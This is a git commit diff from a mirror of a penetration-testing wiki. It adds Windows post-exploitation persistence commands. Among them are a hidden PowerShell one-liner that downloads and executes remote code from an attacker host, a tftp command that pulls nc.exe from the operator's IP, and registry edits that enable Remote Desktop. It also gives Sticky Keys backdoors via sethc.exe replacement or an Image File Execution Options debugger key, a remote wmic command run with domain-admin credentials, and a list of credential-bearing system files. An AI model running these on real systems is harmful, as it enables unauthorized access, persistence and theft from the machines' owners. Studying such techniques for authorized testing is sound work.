mirror of
https://github.com/oXis/pwnwiki.github.io.git
synced 2025-10-29 16:56:59 +00:00
Merge pull request #68 from pwnwiki/issue9
Issue9, It's been a couple days. Merging content.
This commit is contained in:
commit
d68b42a801
@ -13,19 +13,26 @@ return false;
|
||||
|
||||
Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
|
||||
|
||||
### Firewall Exceptions
|
||||
When you modify a system to talk on the network, you may need to alter the Windows firewall so your traffic is not filtered. The `netsh` command can be used to do this as the command to enable Remote Desktop Protocol below shows:
|
||||
|
||||
`netsh firewall set service type = remotedesktop mode = enable`
|
||||
|
||||
|
||||
### Powershell Downloader
|
||||
* **Command with arguments**: `powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]'))"`
|
||||
* **Description**: According to [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), _"Schedule this and it will execute the shellcode on that page, pulling it each time (so you can change as needed)"_.
|
||||
|
||||
|
||||
### Remote Assistance Enable
|
||||
* **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f`
|
||||
* **Description**: **Must be admin to run this.** Enable remote assistance through adding a registry entry on the local system.
|
||||
* **Output**:
|
||||
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
||||
The operation completed successfully.</code></div>
|
||||
|
||||
|
||||
### Remote Desktop Enable - Method 1
|
||||
* **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f`
|
||||
* **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system.
|
||||
* **Output**:
|
||||
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
||||
The operation completed successfully.</code></div>
|
||||
* **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system.
|
||||
|
||||
|
||||
### Remote Desktop Enable - Method 2
|
||||
Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below.
|
||||
@ -76,4 +83,20 @@ c:\> net use \\[TargetIP]\ipc$ password /user:username
|
||||
c:\> at \\[TargetIP] 12:00 pm command
|
||||
</pre>
|
||||
|
||||
An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe`
|
||||
An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe`
|
||||
|
||||
|
||||
### Sticky Keys (Requires reboot)
|
||||
Sticky keys on Windows systems are activated when the user presses the SHIFT key 5 times. Here, according to the [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), you replace the sethc.exe binary with your own binary (cmd.exe maybe?) and, when SHIFT is pressed 5 times, your binary is executed. Your binary will execute as SYSTEM and needs to replace the `%WINDIR%\System32\sethc.exe`.
|
||||
|
||||
Some caveats:
|
||||
* If NLA (Network Layer Authentication) is enabled, this won't work
|
||||
* If RDP (Remote Desktop Protocol) is disabled, this won't work
|
||||
|
||||
|
||||
### Sticky Keys (No reboot)
|
||||
This technique uses registry entries to switch the binary that the sticky keys executes. Its real advantage is that it does not require a reboot for the switch to take place.
|
||||
* In the `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` make a key called `sethc.exe`
|
||||
* Make a REG_SZ value called "Debugger" (Ensure it is capitalized)
|
||||
* For the "Debugger" REG_SZ, make it have a value of your binary
|
||||
* Press SHIFT 5 times and your binary should be executed
|
||||
@ -26,4 +26,4 @@ The files below are things to pull when all you can do is to blindly read. Examp
|
||||
| `%WINDIR%\system32\config\default.sav`<br>`%WINDIR%\system32\config\security.sav`<br>`%WINDIR%\system32\config\software.sav`<br>`%WINDIR%\system32\config\system.sav` | Backup Windows registry files (http://forensics.wikia.com/wiki/Windows_registry_entries) |
|
||||
| `%WINDIR%\system32\logfiles\httperr\httperr1.log` | IIS 6.x web server error logs. |
|
||||
| `%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log` where YYMMDD = year month day | Web server log files. |
|
||||
| `unattend.txt, unattend.xml, sysprep.inf` | Used in the automated deployment of Windows images and can contain user accounts. |
|
||||
| `unattend.txt, unattend.xml, unattended.xml, sysprep.inf` | Used in the automated deployment of Windows images and can contain user accounts. Sometimes found in the `%WINDIR%\Panther\` directory. |
|
||||
@ -214,7 +214,7 @@ For some of these `wmic` commands that pull information (versus perform an actio
|
||||
|
||||
### Process Create
|
||||
* **Command with arguments**: `wmic process call create [EXECUTABLE]`
|
||||
* **Description**: Launches an executable. Replace [EXECUTABLE] with the name of the executable you'd like to launch (for example: calc.exe). Do not include quotes around the value (for example: *DO* use calc.exe; do *NOT* use "calc.exe").
|
||||
* **Description**: Launches an executable. Replace [EXECUTABLE] with the name of the executable you'd like to launch (for example: calc.exe). Do not include quotes around the value (for example: *DO* use calc.exe; do *NOT* use "calc.exe"). Another option for this command comes from [Rob Fuller's talk](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607): `wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"`
|
||||
* **Output**:
|
||||
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic process call create calc.exe<br>Executing (Win32_Process)->Create()<br>Method execution successful.<br>Out Parameters:<br>instance of __PARAMETERS<br>{<br> ProcessId = 1936;<br> ReturnValue = 0;<br>};</code></div>
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user